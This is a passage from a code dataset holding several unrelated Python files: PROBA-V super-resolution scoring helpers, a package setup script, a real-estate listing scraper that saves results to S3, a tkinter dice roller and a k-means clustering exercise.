pixels.\n\t\"\"\"\n\tagg_opts = {\n\t\t'mean'   : lambda i: np.nanmean(i, axis=0),\n\t\t'median' : lambda i: np.nanmedian(i, axis=0),\n\t\t'mode'   : lambda i: scipy.stats.mode(i, axis=0, nan_policy='omit').mode[0],\n\t\t}\n\tagg = agg_opts[agg_with]\n\t\n\timgs = []\n\tobsc = []\n\t\n\tif isinstance(images, str):\n\t\timages = lowres_image_iterator(images, img_as_float or only_clear)\n\telif only_clear:\n\t\t# Images were given by the caller, rather than loaded here.\n\t\t# Because `only_clear=True`, we generate copies of all lr images, so the\n\t\t# function will have no unintended side-effects on the caller's side.\n\t\timages = [(l.copy(), c) for (l,c) in images]\n\t\n\tfor (l, c) in images:\n\t\t\n\t\tif only_clear:\n\t\t\t\n\t\t\t# keep track of the values at obscured pixels\n\t\t\tif fill_obscured != False:\n\t\t\t\to = l.copy()\n\t\t\t\to[c] = np.nan\n\t\t\t\tobsc.append(o)\n\t\t\t\n\t\t\t# replace values at obscured pixels with NaNs\n\t\t\tl[~c] = np.nan\n\t\t\n\t\timgs.append(l)\n\t\n\t# aggregate the images\n\twith np.warnings.catch_warnings():   ## https://stackoverflow.com/a/29348184\n\t\t# suppress the warnings that originate when `only_clear=True`\n\t\t# but some pixels are never clear in any of the images\n\t\tnp.warnings.filterwarnings('ignore', r'All-NaN (slice|axis) encountered')\n\t\tnp.warnings.filterwarnings('ignore', r'Mean of empty slice')\n\t\t\n\t\tagg_img = agg(imgs)\n\t\t\n\t\tif only_clear and fill_obscured != False:\n\t\t\tif isinstance(fill_obscured, str):\n\t\t\t\tagg = agg_opts[fill_obscured]\n\t\t\tsome_clear = np.isnan(obsc).any(axis=0)\n\t\t\tobsc = agg(obsc)\n\t\t\tobsc[some_clear] = 0.0\n\t\t\tnp.nan_to_num(agg_img, copy=False)\n\t\t\tagg_img += obsc\n\t\n\treturn agg_img\n\n\ndef highres_image(path, img_as_float=True):\n\t\"\"\"\n\tLoad a scene's high resolution image and its corresponding status map.\n\t\n\tReturns a `(hr, sm)` tuple, where:\n\t* `hr`: matrix with the loaded high-resolution image (values as np.uint16 or\n\t        np.float64 depending on `img_as_float`),\n\t* `sm`: the image's corresponding \"clear pixel?\" boolean mask.\n\t\n\tScenes' image files are described at:\n\thttps://kelvins.esa.int/proba-v-super-resolution/data/\n\t\"\"\"\n\tpath = path if path[-1] in {'/', '\\\\'} else (path + '/')\n\thr = skimage.io.imread(path + 'HR.png')\n\tsm = skimage.io.imread(path + 'SM.png')\n\tif img_as_float:\n\t\thr = skimage.img_as_float64(hr)\n\treturn (hr, sm)\n\t\n\n\ndef lowres_image_iterator(path, img_as_float=True):\n\t\"\"\"\n\tIterator over all of a scene's low-resolution images (LR*.png) and their\n\tcorresponding status maps (QM*.png).\n\t\n\tReturns at each iteration a `(l, c)` tuple, where:\n\t* `l`: matrix with the loaded low-resolution image (values as np.uint16 or\n\t       np.float64 depending on `img_as_float`),\n\t* `c`: the image's corresponding \"clear pixel?\" boolean mask.\n\t\n\tScenes' image files are described at:\n\thttps://kelvins.esa.int/proba-v-super-resolution/data/\n\t\"\"\"\n\tpath = path if path[-1] in {'/', '\\\\'} else (path + '/')\n\tfor f in glob(path + 'LR*.png'):\n\t\tq = f.replace('LR', 'QM')\n\t\tl = skimage.io.imread(f)\n\t\tc = skimage.io.imread(q)\n\t\tif img_as_float:\n\t\t\tl = skimage.img_as_float64(l)\n\t\tyield (l, c)\n\t\n\n\n# [============================================================================]\n\n\ndef check_img_as_float(img, validate=True):\n\t\"\"\"\n\tEnsure `img` is a matrix of values in floating point format in [0.0, 1.0].\n\tReturns `img` if it already obeys those requirements, otherwise converts it.\n\t\"\"\"\n\tif not issubclass(img.dtype.type, np.floating):\n\t\timg = skimage.img_as_float64(img)\n\t# https://scikit-image.org/docs/dev/api/skimage.html#img-as-float64\n\t\n\tif validate:\n\t\t# safeguard against unwanted conversions to values outside the\n\t\t# [0.0, 1.0] range (would happen if `img` had signed values).\n\t\tassert img.min() >= 0.0 and img.max() <= 1.0\n\t\n\treturn img\n\t\n\n\n# [============================================================================]\n\n\ndef all_scenes_paths(base_path):\n\t\"\"\"\n\tGenerate a list of the paths to all scenes available under `base_path`.\n\t\"\"\"\n\tbase_path = base_path if base_path[-1] in {'/', '\\\\'} else (base_path + '/')\n\treturn [\n\t\tbase_path + c + s\n\t\tfor c in ['RED/', 'NIR/']\n\t\tfor s in sorted(os.listdir(base_path + c))\n\t\t]\n\t\n\n\ndef scene_id(scene_path, incl_channel=False):\n\t\"\"\"\n\tExtract from a scene's path its unique identifier.\n\t\n\tExamples\n\t--------\n\t>>> scene_id('probav/train/RED/imgset0559/')\n\t'imgset0559'\n\t>>> scene_id('probav/train/RED/imgset0559', incl_channel=True)\n\t'RED/imgset0559'\n\t\"\"\"\n\tsep = os.path.normpath(scene_path).split(os.sep)\n\tif incl_channel:\n\t\treturn '/'.join(sep[-2:])\n\telse:\n\t\treturn sep[-1]\n\t\n\n# [============================================================================]\n\ndef prepare_submission(images, scenes, subm_fname='submission.zip'):\n\t\"\"\"\n\tPrepare a set of images for submission.\n\t\n\tGiven a list of `images` (as matrices of shape (384, 384)), and the paths\n\tto the `scenes` to which they correspond, write a zip file containing all\n\timages as .png files, named after their scene's identification\n\t(example: imgset1160.png).\n\t\"\"\"\n\tassert len(images) == 290, '%d images provided, 290 expected.' % len(images)\n\tassert len(images) == len(scenes), \"Mismatch in number of images and scenes.\"\n\tassert subm_fname[-4:] == '.zip'\n\t\n\t# specific warnings we wish to ignore\n\twarns = [\n\t\t'tmp.png is a low contrast image',\n\t\t'Possible precision loss when converting from float64 to uint16']\n\t\n\twith np.warnings.catch_warnings():\n\t\tfor w in warns:\n\t\t\tnp.warnings.filterwarnings('ignore', w)\n\t\t\n\t\tprint('Preparing submission. Writing to \"%s\".' % subm_fname)\n\t\t\n\t\twith ZipFile(subm_fname, mode='w') as zf:\n\t\t\t\n\t\t\tfor img, scene in zip(tqdm(images), scenes):\n\t\t\t\tassert img.shape == (384, 384), \\\n\t\t\t\t\t'Wrong dimensions in image for scene %s.' % scene\n\t\t\t\t\n\t\t\t\tskimage.io.imsave('tmp.png', img)\n\t\t\t\tzf.write('tmp.png', arcname=scene_id(scene) + '.png')\n\t\t\n\t\tos.remove('tmp.png')\n        \n        \n# [============================================================================]\n\n\n# Baseline cPSNR values for the dataset's images. Used for normalizing scores.\n# (provided by the competition's organizers)\nbaseline_cPSNR = pd.read_csv(\n    os.path.dirname(os.path.abspath(__file__)) + '/norm.csv',\n    names = ['scene', 'cPSNR'],\n    index_col = 'scene',\n    sep = ' ')\n\n\ndef score_images(imgs, scenes_paths, *args):\n\t\"\"\"\n\tMeasure the overall (mean) score across multiple super-resolved images.\n\t\n\tTakes as input a sequence of images (`imgs`), a sequence with the paths to\n\tthe corresponding scenes (`scenes_paths`), and optionally a sequence of\n\t(hr, sm) tuples with the pre-loaded high-resolution images of those scenes.\n\t\"\"\"\n\treturn np.mean([\n#\t\tscore_image(*i)\n\t\tscore_image_fast(*i)\n\t\tfor i in zip(tqdm(imgs), scenes_paths, *args)\n\t\t])\n\n\ndef score_image(sr, scene_path, hr_sm=None):\n\t\"\"\"\n\tCalculate the individual score (cPSNR, clear Peak Signal to Noise Ratio) for\n\t`sr`, a super-resolved image from the scene at `scene_path`.\n\t\n\tParameters\n\t----------\n\tsr : matrix of shape 384x384\n\t\tsuper-resolved image.\n\tscene_path : str\n\t\tpath where the scene's corresponding high-resolution image can be found.\n\thr_sm : tuple, optional\n\t\tthe scene's high resolution image and its status map. Loaded if `None`.\n\t\"\"\"\n\thr, sm = highres_image(scene_path) if hr_sm is None else hr_sm\n\t\n\t# \"We assume that the pixel-intensities are represented\n\t# as real numbers ∈ [0,1] for any given image.\"\n\t#sr = check_img_as_float(sr)\n\t#hr = check_img_as_float(hr, validate=False)\n\t\n\t# \"Let N(HR) be the baseline cPSNR of image HR as found in the file norm.csv.\"\n\tN = baseline_cPSNR.loc[scene_id(scene_path)][0]\n\t\n\t# \"To compensate for pixel-shifts, the submitted images are\n\t# cropped by a 3 pixel border, resulting in a 378x378 format.\"\n\tsr_crop = sr[3 : -3, 3 : -3]\n\t\n\tcrop_scores = []\n\t\n\tfor (hr_crop, sm_crop) in hr_crops(hr, sm):\n\t\t# values at the cropped versions of each image that\n\t\t# fall in clear pixels of the cropped `hr` image\n\t\t_hr = hr_crop[sm_crop]\n\t\t_sr = sr_crop[sm_crop]\n\t\t\n\t\t# \"we first compute the bias in brightness b\"\n\t\tpixel_diff = _hr - _sr\n\t\tb = np.mean(pixel_diff)\n\t\t\n\t\t# \"Next, we compute the corrected clear mean-square\n\t\t# error cMSE of SR w.r.t. HR_{u,v}\"\n\t\tpixel_diff -= b\n\t\tcMSE = np.mean(pixel_diff * pixel_diff)\n\t\t\n\t\t# \"which results in a clear Peak Signal to Noise Ratio of\"\n\t\tcPSNR = -10. * np.log10(cMSE)\n\t\t\n\t\t# normalized cPSNR\n\t\tcrop_scores.append(N / cPSNR)\n#\t\tcrop_scores.append(cMSE)\n\t\n\t# \"The individual score for image SR is\"\n\tsr_score = min(crop_scores)\n#\tsr_score = N / (-10. * np.log10(min(crop_scores)))\n\t\n\treturn sr_score\n\n\n# [===================================]\n\n\ndef hr_crops(hr, sm):\n\t\"\"\"\n\t\"We denote the cropped 378x378 images as follows: for all u,v ∈ {0,…,6},\n\tHR_{u,v} is the subimage of HR with its upper left corner at coordinates\n\t(u,v) and its lower right corner at (378+u, 378+v).\"\n\t-- https://kelvins.esa.int/proba-v-super-resolution/scoring/\n\t\"\"\"\n\tnum_cropped = 6\n\tmax_u, max_v = np.array(hr.shape) - num_cropped\n\t\n\tfor u in range(num_cropped + 1):\n\t\tfor v in range(num_cropped + 1):\n\t\t\tyield hr[u : max_u + u, v : max_v + v], \\\n\t\t\t\t  sm[u : max_u + u, v : max_v + v]\n\t\n\n    \n# [============================================================================]\n\n\ndef score_image_fast(sr, scene_path, hr_sm=None):\n    \"\"\"\n    Calculate the individual score (cPSNR, clear Peak Signal to Noise Ratio) for\n    `sr`, a super-resolved image from the scene at `scene_path`.\n\n    Parameters\n    ----------\n    sr : matrix of shape 384x384\n    super-resolved image.\n    scene_path : str\n    path where the scene's corresponding high-resolution image can be found.\n    hr_sm : tuple, optional\n    the scene's high resolution image and its status map. Loaded if `None`.\n    \"\"\"\n\n    hr, sm = highres_image(scene_path) if hr_sm is None else hr_sm\n\n    # \"We assume that the pixel-intensities are represented\n    # as real numbers ∈ [0,1] for any given image.\"\n    #sr = check_img_as_float(sr)\n    #hr = check_img_as_float(hr, validate=False)\n\n    # \"Let N(HR) be the baseline cPSNR of image HR as found in the file norm.csv.\"\n    N = baseline_cPSNR.loc[scene_id(scene_path)][0]\n\n    return score_against_hr(sr, hr, sm, N)\n\ndef score_image_fast_normalized(sr, hr, scene_path):\n    \"\"\"\n    Calculate the individual score (cPSNR, clear Peak Signal to Noise Ratio) for\n    `sr`, a super-resolved image from the scene at `scene_path`.\n\n    Parameters\n    ----------\n    sr : matrix of shape 384x384\n    super-resolved image.\n    scene_path : str\n    path where the scene's corresponding high-resolution image can be found.\n    hr_sm : tuple, optional\n    the scene's high resolution image and its status map. Loaded if `None`.\n    \"\"\"\n\n    # \"We assume that the pixel-intensities are represented\n    # as real numbers ∈ [0,1] for any given image.\"\n    #sr = check_img_as_float(sr)\n    #hr = check_img_as_float(hr, validate=False)\n\n    # \"Let N(HR) be the baseline cPSNR of image HR as found in the file norm.csv.\"\n    N = baseline_cPSNR.loc[scene_id(scene_path)][0]\n\n    return score_against_hr_normalized(sr, hr, N)\n\n\n@numba.jit(nopython=True, parallel=True)\ndef score_against_hr_normalized(sr, hr, N):\n    \"\"\"\n    Numba-compiled version of the scoring function.\n    \"\"\"\n    num_cropped = 6\n    max_u, max_v = np.array(hr.shape) - num_cropped\n\n    # \"To compensate for pixel-shifts, the submitted images are\n    # cropped by a 3 pixel border, resulting in a 378x378 format.\"\n    c = num_cropped // 2\n    sr_crop = sr[c : -c, c : -c].ravel()\n\n    #crop_scores = []\n    cMSEs = np.zeros((num_cropped + 1, num_cropped + 1), np.float64)\n\n    for u in numba.prange(num_cropped + 1):\n        for v in numba.prange(num_cropped + 1):\n\n            # \"We denote the cropped 378x378 images as follows: for all u,v ∈\n            # {0,…,6}, HR_{u,v} is the subimage of HR with its upper left corner\n            # at coordinates (u,v) and its lower right corner at (378+u, 378+v)\"\n            hr_crop = hr[u : max_u + u, v : max_v + v].ravel()\n\n            # \"we first compute the bias in brightness b\"\n            pixel_diff = hr_crop - sr_crop\n            b = np.nanmean(pixel_diff)\n\n            # \"Next, we compute the corrected clear mean-square\n            # error cMSE of SR w.r.t. HR_{u,v}\"\n            pixel_diff -= b\n            pixel_diff *= pixel_diff\n            cMSE = np.nanmean(pixel_diff)\n\n            # \"which results in a clear Peak Signal to Noise Ratio of\"\n            #cPSNR = -10. * np.log10(cMSE)\n\n            # normalized cPSNR\n            #crop_scores.append(N / cPSNR)\n\n            cMSEs[u, v] = cMSE\n\n    # \"The individual score for image SR is\"\n    #sr_score = min(crop_scores)\n    sr_score = N / (-10. * np.log10(cMSEs.min()))\n\n    return sr_score\n\n\n\n#@numba.jit('f8(f8[:,:], f8[:,:], b1[:,:], f8)', nopython=True, parallel=True)\n@numba.jit(nopython=True, parallel=True)\ndef score_against_hr(sr, hr, sm, N):\n    \"\"\"\n    Numba-compiled version of the scoring function.\n    \"\"\"\n    num_cropped = 6\n    max_u, max_v = np.array(hr.shape) - num_cropped\n\n    # \"To compensate for pixel-shifts, the submitted images are\n    # cropped by a 3 pixel border, resulting in a 378x378 format.\"\n    c = num_cropped // 2\n    sr_crop = sr[c : -c, c : -c].ravel()\n\n    # create a copy of `hr` with NaNs at obscured pixels\n    # (`flatten` used to bypass numba's indexing limitations)\n    hr_ = hr.flatten()\n    hr_[(~sm).ravel()] = np.nan\n    hr = hr_.reshape(hr.shape)\n\n    #crop_scores = []\n    cMSEs = np.zeros((num_cropped + 1, num_cropped + 1), np.float64)\n\n    for u in numba.prange(num_cropped + 1):\n        for v in numba.prange(num_cropped + 1):\n\n            # \"We denote the cropped 378x378 images as follows: for all u,v ∈\n            # {0,…,6}, HR_{u,v} is the subimage of HR with its upper left corner\n            # at coordinates (u,v) and its lower right corner at (378+u, 378+v)\"\n            hr_crop = hr[u : max_u + u, v : max_v + v].ravel()\n\n            # \"we first compute the bias in brightness b\"\n            pixel_diff = hr_crop - sr_crop\n            b = np.nanmean(pixel_diff)\n\n            # \"Next, we compute the corrected clear mean-square\n            # error cMSE of SR w.r.t. HR_{u,v}\"\n            pixel_diff -= b\n            pixel_diff *= pixel_diff\n            cMSE = np.nanmean(pixel_diff)\n\n            # \"which results in a clear Peak Signal to Noise Ratio of\"\n            #cPSNR = -10. * np.log10(cMSE)\n\n            # normalized cPSNR\n            #crop_scores.append(N / cPSNR)\n\n            cMSEs[u, v] = cMSE\n\n    # \"The individual score for image SR is\"\n    #sr_score = min(crop_scores)\n    sr_score = N / (-10. * np.log10(cMSEs.min()))\n\n    return sr_score\n\n\n# [============================================================================]\n\n\nclass scorer(object):\n\t\n\tdef __init__(self, scene_paths, preload_hr=True):\n\t\t\"\"\"\n\t\tWrapper to `score_image()` that simplifies the scoring of multiple\n\t\tsuper-resolved images.\n\t\t\n\t\tThe scenes over which the scorer will operate should be given in\n\t\t`scene_paths`. This is either a sequence of paths to a subset of scenes\n\t\tor a string with a single path. In this case, it is interpreted as the\n\t\tbase path to the full dataset, and `all_scenes_paths()` will be used to\n\t\tlocate all the scenes it contains.\n\t\t\n\t\tScene paths are stored in the object's `.paths` variable.\n\t\tWhen scoring, only the super-resolved images need to be provided.\n\t\tThey are assumed to be in the same order as the scenes in `.paths`.\n\t\t\n\t\tIf the object is instantiated with `preload_hr=True` (the default),\n\t\tall scene's high-resolution images and their status maps will be\n\t\tpreloaded. When scoring they will be sent to `score_image()`, thus\n\t\tsaving computation time in repeated scoring, at the expense of memory.\n\t\t\"\"\"\n\t\tif isinstance(scene_paths, str):\n\t\t\tself.paths = all_scenes_paths(scene_paths)\n\t\telse:\n\t\t\tself.paths = scene_paths\n\t\t\n\t\tself.hr_sm = [] if not preload_hr else [\n\t\t\thighres_image(scn_path, img_as_float=True)\n\t\t\tfor scn_path in tqdm(self.paths, desc='Preloading hi-res images')]\n\t\t\n\t\tself.scores = []\n\t\t\n\t\n\tdef __call__(self, sr_imgs, per_image=False, progbar=True, desc=''):\n\t\t\"\"\"\n\t\tScore all the given super-resolved images (`sr_imgs`), which correspond\n\t\tto the scenes at the matching positions of the object's `.paths`.\n\t\t\n\t\tReturns the overall score (mean normalized cPSNR).\n\t\t\n\t\tAn additional value is returned if `per_image=True`: a list with each\n\t\timage's individual cPSNR score. In either case, this list remains\n\t\tavailable in the object's `.scores` variable until the next call.\n\t\t\"\"\"\n\t\tscenes_paths = tqdm(self.paths, desc=desc) if progbar else self.paths\n\t\thr_sm = [] if self.hr_sm == [] else [self.hr_sm]\n\t\t\n\t\tself.scores = [\n#\t\t\tscore_image(*i)\n\t\t\tscore_image_fast(*i)\n\t\t\tfor i in zip(sr_imgs, scenes_paths, *hr_sm)]\n\t\t\n\t\tassert len(self.scores) == len(self.paths)\n\t\t\n\t\tscore = np.mean(self.scores)\n\t\t\n\t\tif per_image:\n\t\t\treturn score, self.scores\n\t\telse:\n\t\t\treturn score\n    \n","repo_name":"Ahaeflig/probaVSuperRes","sub_path":"supreshelper/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":20240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"23330953824","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n    long_description = fh.read()\n\nsetuptools.setup(\n    name=\"cpick\",\n    version=\"0.1.3\",\n    author=\"Toby Slight\",\n    author_email=\"tslight@pm.me\",\n    description=\"Curses List Picker\",\n    long_description=long_description,\n    long_description_content_type=\"text/markdown\",\n    url=\"https://github.com/tslight/cpick\",\n    install_requires=[\"columns\"],\n    packages=setuptools.find_packages(),\n    classifiers=(\n        \"Programming Language :: Python :: 3\",\n        \"License :: OSI Approved :: ISC License (ISCL)\",\n        \"Operating System :: OS Independent\",\n    ),\n    entry_points={\"console_scripts\": [\"cpick = cpick.__main__:main\"]},\n)\n","repo_name":"tslight/cpick","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"32441529313","text":"import requests\nfrom bs4 import BeautifulSoup\nimport boto3\nimport json\n\ndef scrape_aruodas(event, context):\n    page = requests.get('https://en.aruodas.lt/butai/vilniuje/puslapis/2/')\n    soup = BeautifulSoup(page.content, 'html.parser')\n    s3 = boto3.resource('s3', region_name='eu-west-2')\n\n    for row in soup.select('tr.list-row td.list-adress h3 a'):\n        place = {'website': 'aruodas'}\n        headers = {\n            'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36'\n        }\n\n        print(row.attrs['href'])\n\n        single_page = requests.get(row.attrs['href'], headers=headers)\n        single_soup = BeautifulSoup(single_page.content, 'html.parser')\n        name = single_soup.select('h1.obj-header-text')[0]\n        place['name'] = name.text.strip()\n\n        stats = single_soup.select('div.obj-stats dl dd')\n        place['href'] = stats[0].text.strip()\n\n        path = place['href'].split('lt/')[1].split('-')\n        place['id'] = path[1]\n\n        if path[0] == '1':\n            place['house'] = False\n        else:\n            place['house'] = True\n\n        place['created_at'] = stats[1].text.strip()\n        place['updated_at'] = stats[2].text.strip()\n\n        price = single_soup.select('.price-block .price-left .price-eur')[0].text.strip()\n        place['price'] = int(price.replace(' ', '').replace('€', ''))\n\n        for r in single_soup.select('.obj-details dt'):\n            rt = r.text.strip()\n            if rt == 'Plotas:':\n                area = r.find_next().text.strip()\n                place['area'] = float(area.replace(' m²', '').replace(',', '.'))\n            if rt == 'Kambarių sk.:':\n                place['rooms'] = int(r.find_next().text.strip())\n            if rt == 'Metai:':\n                place['year'] = int(r.find_next().text.strip())\n            if rt == 'Įrengimas:':\n                place['equipment'] = r.find_next().contents[0].strip()\n\n        map_url = 'https://www.aruodas.lt/map/?id=' + place['href'].split('lt/')[1] + '&position=popup'\n        map_page = requests.get(map_url, headers=headers)\n        map_soup = BeautifulSoup(map_page.content, 'html.parser')\n\n        for line in map_soup.prettify().splitlines():\n            if 'var locationCoordinate =' in line:\n                location = line.split('var locationCoordinate = ')[1].replace(\"'\", '').replace(';', '').split(',')\n                place['lat'] = float(location[0])\n                place['lng'] = float(location[1])\n\n        s3.Object('chum-buket', place['id'] + \".json\").put(Body=json.dumps(place))\n\n    return {\n        'message': 'Scrape those houses!',\n        'event': event\n    }\n\n\nscrape_aruodas(1, 1)\n","repo_name":"Rhymond/home-scrape","sub_path":"handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":2728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"28079452212","text":"import random\nfrom tkinter import *\n\n\n# ================= Roll the dice ==============================\ndef roll(d, n, m):\n    if n != 0:\n        str1 = f\"{n} d{d}'s.\\n\"\n        total = 0\n        log = \"\"\n        for i in range(n):\n            roll = random.randint(1, d)\n            total += roll + m\n            if m > 0:\n                log += f\"{roll}(+{m}) \"\n            elif m < 0:\n                log += f\"{roll}({m}) \"\n            else:\n                log += f\"{roll} \"\n        str1 += \"Rolls: \" + log + \"\\n\"\n        return total, str1\n    return 0, \"\"\n\n# four - twenty (type of dice)\n# modDice - modifier per dice // modTotal - modifier at the end of the result\ndef dice_roller(four=0, six=0, eight=0, ten=0, twelve=0, hundred=0, twenty=0, modDice=0, modTotal=0):\n    if four < 0 or six < 0 or eight < 0 or ten < 0 or twelve < 0 or hundred < 0 or twenty < 0:\n        strEnd = \"Invalid number of dice!\"\n        return strEnd\n    else:\n        result = 0\n        stringResult = \"\\nRolling...\\n\"\n        dice = [4, 6, 8, 10, 12, 100, 20]\n        nDice = [four, six, eight, ten, twelve, hundred, twenty]\n        for i in range(7):\n            rolled = roll(dice[i], nDice[i], modDice)\n            result += rolled[0]\n            stringResult += rolled[1]\n        if modTotal > 0:\n            result += modTotal\n            stringResult += f\"Modifier: +{modTotal}\\n\"\n        elif modTotal < 0:\n            result += modTotal\n            stringResult += f\"Modifier: {modTotal}\"\n        stringResult += f\"Total: {result}.\"\n        return stringResult\n\n\n# ================= Interface ===================================\n# main\nwindow = Tk()\nwindow.title(\"Dice Roller v1.0\")\n\n# functions\ndef clickRoll():\n    four = int(nFour.get())  # returns the value in the text box\n    six = int(nSix.get())\n    eight = int(nEight.get())\n    ten = int(nTen.get())\n    twelve = int(nTwelve.get())\n    hundred = int(nHundred.get())\n    twenty = int(nTwenty.get())\n    dMod = int(modDie.get())\n    tMod = int(modTotal.get())\n    output.configure(state=\"normal\")\n    output.insert(END, dice_roller(four, six, eight, ten,\n                                   twelve, hundred, twenty, dMod, tMod))\n    output.configure(state=\"disabled\")\n\n\ndef clickClear():\n    nFour.delete(0, END)\n    nFour.insert(0, 0)\n    nSix.delete(0, END)\n    nSix.insert(0, 0)\n    nEight.delete(0, END)\n    nEight.insert(0, 0)\n    nTen.delete(0, END)\n    nTen.insert(0, 0)\n    nTwelve.delete(0, END)\n    nTwelve.insert(0, 0)\n    nHundred.delete(0, END)\n    nHundred.insert(0, 0)\n    nTwenty.delete(0, END)\n    nTwenty.insert(0, 0)\n    modDie.delete(0, END)\n    modDie.insert(0, 0)\n    modTotal.delete(0, END)\n    modTotal.insert(0, 0)\n    output.configure(state=\"normal\")\n    output.delete(0.0, END)\n    output.configure(state=\"disabled\")\n\n\n# text labels\nLabel(window, text=\"D4\", width=5).grid(row=1, column=0, sticky=W)\nLabel(window, text=\"D6\", width=5).grid(row=2, column=0, sticky=W)\nLabel(window, text=\"D8\", width=5).grid(row=3, column=0, sticky=W)\nLabel(window, text=\"D10\", width=5).grid(row=4, column=0, sticky=W)\nLabel(window, text=\"D12\", width=5).grid(row=5, column=0, sticky=W)\nLabel(window, text=\"D100\", width=5).grid(row=6, column=0, sticky=W)\nLabel(window, text=\"D20\", width=5).grid(row=7, column=0, sticky=W)\n\nLabel(window, text=\"Number\").grid(row=0, column=1)\nLabel(window, text=\"Dice Mod\").grid(row=0, column=2)\nLabel(window, text=\"Result\").grid(row=0, column=3, columnspan=2)\n\n# input\n# d4\nnFour = Entry(window, width=10)\nnFour.grid(row=1, column=1, sticky=W)\nnFour.insert(0, 0)\n\n# d6\nnSix = Entry(window, width=10)\nnSix.grid(row=2, column=1, sticky=W)\nnSix.insert(0, 0)\n\n# d8\nnEight = Entry(window, width=10)\nnEight.grid(row=3, column=1, sticky=W)\nnEight.insert(0, 0)\n\n# d10\nnTen = Entry(window, width=10)\nnTen.grid(row=4, column=1, sticky=W)\nnTen.insert(0, 0)\n\n# d12\nnTwelve = Entry(window, width=10)\nnTwelve.grid(row=5, column=1, sticky=W)\nnTwelve.insert(0, 0)\n\n# d100\nnHundred = Entry(window, width=10)\nnHundred.grid(row=6, column=1, sticky=W)\nnHundred.insert(0, 0)\n\n# d20\nnTwenty = Entry(window, width=10)\nnTwenty.grid(row=7, column=1, sticky=W)\nnTwenty.insert(0, 0)\n\n# mod\nLabel(window, text=\"Per Die\").grid(row=2, column=2, padx=10)\nmodDie = Entry(window, width=10)\nmodDie.insert(0, 0)\nmodDie.grid(row=3, column=2, sticky=W, padx=10)\n\nLabel(window, text=\"Total\").grid(row=5, column=2, padx=10)\nmodTotal = Entry(window, width=10)\nmodTotal.insert(0, 0)\nmodTotal.grid(row=6, column=2, sticky=W, padx=10)\n\n# roll button\nButton(window, text=\"Roll\", command=clickRoll).grid(row=7, column=3)\nButton(window, text=\"Clear\", command=clickClear).grid(row=7, column=4)\n\n# output\noutput = Text(window, wrap=WORD, width=20)\noutput.grid(row=1, column=3, rowspan=6, columnspan=2, sticky=W)\noutput.insert(END, \"Select your Dice!\\n\")\noutput.configure(state=\"disabled\")\n\n# run the main loop\nwindow.mainloop()\n\n\n# = TEST ========================================================\n# print(dice_roller(six=1,eight=2))\n","repo_name":"tomasteicol19452/DnD-Py","sub_path":"DiceRoller/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17113277165","text":"import math \nimport numpy as np\nimport random\nimport sys\n\n#Helper Methods ------------------------------------------------------------------------\n# Finds the mean/centroid of a cluster.\ndef centerOfCluster(cluster):\n    cluster = np.asarray(cluster)\n    center =np.array([0,0])\n\n    result = np.array([0,0])\n    for i in range(len(cluster)):\n        result = np.sum([cluster[i], result], axis = 0)\n\n    numberOfPoints = len(cluster)\n    if numberOfPoints > 0:\n        result = result * (1 / numberOfPoints)\n        return result\n    else: \n        print (\"A cluster is empty\")\n        sys.exit()\n\n\n# Calculates the distance between 2 2d vectors. \ndef distVector(vectorA, vectorB):\n    vectorA = np.asarray(vectorA)\n    vectorB = np.asarray(vectorB)\n\n    tem1 = np.subtract(vectorA[0], vectorB[0])\n    tem2 = np.subtract(vectorA[1], vectorB[1])\n    tem1 = np.power(tem1,2)\n    tem2 = np.power(tem2,2)\n    \n    result = np.add(tem1,tem2)\n    result = math.sqrt(result)\n   \n    return result\n\n\n# Calculates the sum of distance for all points in a clusters to its center.\ndef distClustSum(cluster):\n    cluster = np.asarray(cluster)\n    center = centerOfCluster(cluster)\n\n    dist = 0\n    for i in range(len(cluster)):\n        temp = pow(distVector(center,cluster[i]),2)\n        dist = temp + dist\n    return dist\n\n#End helper methods\n#---------------------------------------------------------------------------------------\n\n#Calculates the TD2 measure for\ndef TD2(data):\n    result = 0\n    data = np.asarray(data)\n\n\n    for i in range(len(data)):\n        result = distClustSum(data[i]) + result\n    return result\n\n# Is this forgy / Lloyd or not?\ndef kMeans(data):\n    points = [item for sublist in data for item in sublist]\n    k = len(data)\n    clusters=[[]for i in range(k)]\n    \n    centroids = []\n    for i in range(len(data)):\n        centroids.append(centerOfCluster(data[i]))\n\n    for x in points:\n        lengths = []\n\n        for i in centroids:\n            lengths.append(distVector(x,i))\n        # Find the centroid that are clossest to the point\n        minimum = min(lengths)\n\n        # Assign that point to the cluster, that centroid belongs too. \n        cluster =lengths.index(minimum)\n   \n        for j in range(k):\n             if cluster==j:\n                clusters[j].append(x)\n    \n    return clusters\n\n#kMeansAlgo tager imod data og et k\n#data: En liste af lister af 2d punkter.\n#k: En liste af antal cluster vi gerne vil prøve at finde. \ndef kMeansAlgo(data,k):\n    # points takes the list from data, anc uses list comprehension on it. \n    points = [item for sublist in data for item in sublist]\n  \n    TD=[] # TD2squared soloutions for clusters\n    for i in k:\n        # lav k antal tomme clusters\n        clusters=[[]for j in range(i)]\n        for x in points:\n            # tildel alle punkterne i vores data, tilfædigt i de k antal lister. \n            random.choice(clusters).append(x)\n        # As long as there are changes for kMeans update, otherwise calcule TD2 and end.\n        while kMeans(clusters)!=clusters:\n            clusters= kMeans(clusters)\n        \n        temptTD = TD2(clusters)\n        #TD.append(TD2(clusters))\n        print(\"Clusters with k =\", i,\"is:\", clusters, \"and TD2 =\", temptTD)\n        TD.append(temptTD)\n    #return TD # Har jeg udkommenteret fordi jeg ikke bruger den. Det er bare en liste af TD2 for \n    # de forskellige clusters. \n\n\nsquares = [[1],[2]]\ntriangle = [[4],[6]]\ncircle = [[8],[9],[10]]\n\ndata = [squares,triangle,circle] \n\n#Her kører vi med værdierne som de er i 